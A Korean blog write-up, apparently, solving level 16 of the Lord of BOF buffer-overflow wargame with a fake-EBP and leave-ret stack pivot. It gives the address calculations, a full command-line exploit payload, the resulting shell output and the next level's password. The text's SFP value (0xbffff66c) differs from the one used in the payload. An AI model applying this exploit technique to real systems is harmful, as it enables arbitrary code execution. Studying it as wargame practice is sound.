[LOB] level16, assassin -> zombie_assassin 풀이
- 시스템해킹/LordOfBof
- 2020. 4. 10. 20:39
LOB, ssassin -> zombie_assassin 문제 확인
저번 문제에서 달라진 점은 strcpy가 아닌, strncpy를 사용했다는 점이다. 따라서 저번문제처럼 RTL Chaning은 RET 영역 뒤까지 덮어야하기 때문에 사용하지 못한다. 힌트에 나와있는대로 FEBP를 사용해보자!
FEBP에 대한 내용은 아래 포스팅에 따로 정리했고 여기서 구성한 페이로드를 그대로 본 문제에 적용해보도록 한다.
LOB, ssassin -> zombie_assassin 풀이
buffer에 &(shellcode)를, SFP에 &(buffer)-4를, RET에 &(leave-ret gadget)을 넣을 것이기 때문에 buffer 시작 주소와 argv[2] 주소부터 구한다.
- buffer : &(shellcode)
- SFP : &(buffer)-4
- RET : &(leave-ret gadget)
argv[2]에 nop+shellcode 를 넣고 생긴 core 파일을 확인한다. 참고로 세그폴트가 발생하는데 core 파일이 생기지 않는다면 < ulimit -c unlimited > 를 입력해주면 된다.
[assassin@localhost /tmp]$ ./zombie_assassin
`python -c 'print "A"*44+"B"*4'` `python -c 'print "\x90"*1000+"[shellcode]"'`
&(buffer)는 0xbffff670 이고 -4 한 값은 0xbffff66c 이다. (argv[1]의 주소값과 헷갈리면 안된다 ^^;)
&(shellcode) 는 0xbffff834 이다.
마지막으로 objdump를 사용해 leave-ret 가젯의 주소 0x08048311 을 구해준다.
정리하면 아래와 같다.
- &(shellcode) : 0xbffff834
- &(buffer)-4 : 0xbffff66c
- &(leave-ret) : 0x08048311
LOB, ssassin -> zombie_assassin 익스플로잇
따라서 페이로드는 아래와 같이 구성할 수 있다.
[assassin@localhost assassin]$ ./zombie_assassin `python -c 'print "\x34\xf8\xff\xbf"*10
+"\x70\xf6\xff\xbf"+"\x11\x83\x04\x08"'` `python -c 'print "\x90"*1000+"[shellcode]"'`
4ÿ¿4ÿ¿4ÿ¿4ÿ¿4ÿ¿p
bash$ my-pass
euid = 516
no place to hide
'시스템해킹 > LordOfBof' 카테고리의 다른 글
[LOB] level15, giant->assassin 풀이 (0) | 2020.04.09 |
---|---|
[LOB] level14, bugbear -> giant 풀이 (0) | 2020.04.08 |
[LOB] level13, darknight -> bugbear 풀이 (0) | 2020.04.08 |
[LOB] level12, golem -> darknight 풀이 (SFP 조작) (0) | 2020.04.07 |
[LOB] level11, skeleton -> golem 풀이 (0) | 2020.04.06 |